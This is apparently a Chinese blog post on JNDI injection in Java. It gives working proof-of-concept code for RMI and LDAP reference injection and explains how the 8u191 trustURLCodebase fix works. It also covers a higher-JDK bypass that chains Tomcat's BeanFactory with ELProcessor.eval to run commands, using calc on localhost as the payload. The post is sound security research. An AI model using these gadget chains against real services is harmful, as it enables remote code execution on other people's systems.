JNDI注入

本文最后更新于:18 天前

rmi

8u121

本地的7000端口开放一个Test.class,其静态代码或者构造方法内写入恶意代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;

public class Test {
public Test() {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}

JNDIServer,factory参数需要和恶意类名相同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.jndi;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws Exception {

LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();

Reference reference = new Reference("Test", "Test", "http://127.0.0.1:7000/");

initialContext.rebind("rmi://127.0.0.1:1099/reference", reference);
}
}

JNDIClient

1
2
3
4
5
6
7
8
9
10
package com.jndi;

import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/reference");
}
}

ldap

8u191

首先开启一个ldap服务器:

然后将引用绑定到ldap服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.jndi;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws Exception {

InitialContext initialContext = new InitialContext();

Reference reference = new Reference("Test", "Test", "http://127.0.0.1:7000/");

initialContext.rebind("ldap://127.0.0.1:10389/cn=qw,dc=example,dc=com", reference);
}
}

客户端:

1
2
3
4
5
6
7
8
9
10
package com.jndi;

import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");
}
}

8u191更新了几处地方:

NamingManager下的本地AppClassLoader处引入了无初始化的逻辑

走进下面的loadClass()逻辑,发现加入了trustURLCodebase的逻辑,至此jndi低版本被暂时堵上了

jdk高版本绕过

上面追踪到了漏洞点,在高版本加入了trustURLCodebase判断来限制jndi的远程注入,因此思路就转移到了能否找到一个本地的类,通过引用去查询这个本地factory的时候,会走到getObjectFactoryFromReference()方法,能在本地找到这个类进行类加载就不需要去远程调用了

在拿到factory之后会调用它的getObjectInstance()方法,如果这个factory的getObjectInstance()方法中存在漏洞代码,就可能会导致rce

这里的factory是ObjectFactory类型的

这玩意是一个接口,因此我们需要找到factory需要实现ObjectFactory接口

在tomcat-embed-core包内,存在一个BeanFactory,他的getObjectInstance()方法存在反射调用

向上跟踪bean为ref对象中的classname字段的进行类加载后实例化的对象

method是从forced这张哈希表中获取键名为propName的键值,propName是通过ref来获取所有的addrs的值

在Reference类中,存在一个add()方法,传入参数类型为抽象类RefAddr,

addrs中追加addr

所以说propName理论上也是可控的,因此ra可控,导致value可控

抽象类本身不能被实例化,寻找RefAddr的实现类,若后续传入invoke的参数是字符串类型的

则可以通过add一个StringRefAddr的addr

从ref中获取addrs中键名为forceString的键值对

forceString键值如果是a=b格式的,则会将setterName设置为b,param设置为a并put到forced哈希表中

后续到forced的构建,method的获取都是可控的,

因此可以add一个new StringRefAddr("forceString","a=b")这种格式的

再回到反射调用这里

method是从forced中获取propName的键值,假设我们的恶意ref是a=eval,那么,forced中的method是eval

这里想method为eval,就得向ref中add一个键名为”a”的addr,

这个过程中反射调用的参数valueArray(由value控制)为ra(键名为”a”的键值对)的键值

因此还需要add一个new StringRefAddr("a","参数")这种格式的

因此需要找一个Bean类,存在一个恶意方法,可以传入一个字符串类型的参数

比较熟悉EL表达式漏洞的话就会知道这里可能利用到ELProcessor中的eval方法

需要引入pom

1
2
3
4
5
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.1-b06</version>
</dependency>

当传入

1
2
ELProcessor elProcessor  = new ELProcessor();
elProcessor.eval("Runtime.getRuntime().exec('calc')");

即可执行代码(详细过程这里不展开,有兴趣的可以自己debug一下,实际上就是以点隔开每一部分,从上到下为parent到children,然后parent依次去调用紧邻的child,最上级parent通过类加载获取到对象)

Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.jndi;

import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;

import javax.naming.CompositeName;
import javax.naming.InitialContext;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.DirectoryManager;
import javax.naming.spi.ObjectFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;

public class JNDIServer {
public static void main(String[] args) throws Exception {

LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();

ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,
"org.apache.naming.factory.BeanFactory",null
);

resourceRef.add(new StringRefAddr("forceString","x=eval"));

resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));

initialContext.rebind("rmi://127.0.0.1:1099/refObj", resourceRef);
}
}

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.jndi;

import org.omg.PortableInterceptor.ObjectReferenceFactory;

import javax.naming.InitialContext;
import javax.naming.spi.ObjectFactory;

public class JNDIClient {
public static void main(String[] args) throws Exception{


InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/refObj");

}
}